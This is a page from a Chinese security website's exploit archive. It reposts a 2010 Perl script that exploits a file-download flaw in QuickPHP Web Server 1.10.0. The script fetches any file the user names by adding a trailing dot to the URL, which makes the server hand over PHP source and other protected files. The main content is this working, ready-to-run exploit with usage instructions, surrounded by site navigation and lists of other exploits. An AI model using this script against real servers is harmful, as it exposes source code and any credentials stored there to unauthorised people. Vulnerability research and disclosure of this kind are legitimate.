首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
QuickPHP Web Server Arbitrary (src .php) File Download
来源:inv0ked.israel@gmail.com 作者:Pr0T3cT10n 发布时间:2010-12-31  

#     _             ____  __            __    ___
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# QuickPHP Web Server is vulnerable for a Remote File Download attcak, the following code will exploit the bug.
# The vulnerability allows an unprivileged attacker to download files whom he has no permissions to.
# -----------------------------------
# Vulnerability Title: QuickPHP Web Server 1.10.0 Remote File Download Exploit
# Date: 30/12/2010
# Author: Pr0T3cT10n
# Software Link: http://www.zachsaw.co.cc/downloads/quickphp_webserver.zip
# Affected Version: 1.10.0
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###

#!/usr/bin/perl
use LWP::Simple;

if (@ARGV < 3) {
 print("\r\n");
 print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");
 print("Discovered & Exploited by Pr0T3cT10n\r\n");
 print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n");
 print("Usage: " .$0. " <host> <port> <file>\r\n");
 print("HOST - An host using QuickPHP Web Server\r\n");
 print("PORT - Port number\r\n");
 print("FILE - The file you want to get\r\n");
 print("Example: " .$0. " hostingserver.com 80 index.php\r\n\r\n");
 exit(1);
} else {
 print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n");
 print("Discovered & Exploited by Pr0T3cT10n\r\n");
 print("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\n");
 ($host, $port, $file) = @ARGV;
 $content = get("http://" .$host. ":" .$port. "/" .$file. ".");
        print("File Content:\r\n\r\n");
 print($content. "\r\n");
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Chilkat Software FTP2 ActiveX
·Google Gears WiFi Geolocation
·Ignition 1.3 Remote Code Execu
·HP Photo Creative 2.x audio.Re
·Microsoft Word RTF pFragments
·Bywifi 2.8.1 Stack Buffer Over
·Digital Music Pad 8.2.3.4.8 SE
·Amoeba CMS v1.01 multiple remo
·Mongoose 2.11 Denial Of Servic
·MS10-073 Windows Class Handlin
·QuickPHP Web Server 1.9.1 Dire
·CoolPlayer 2.18 DEP Bypass
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved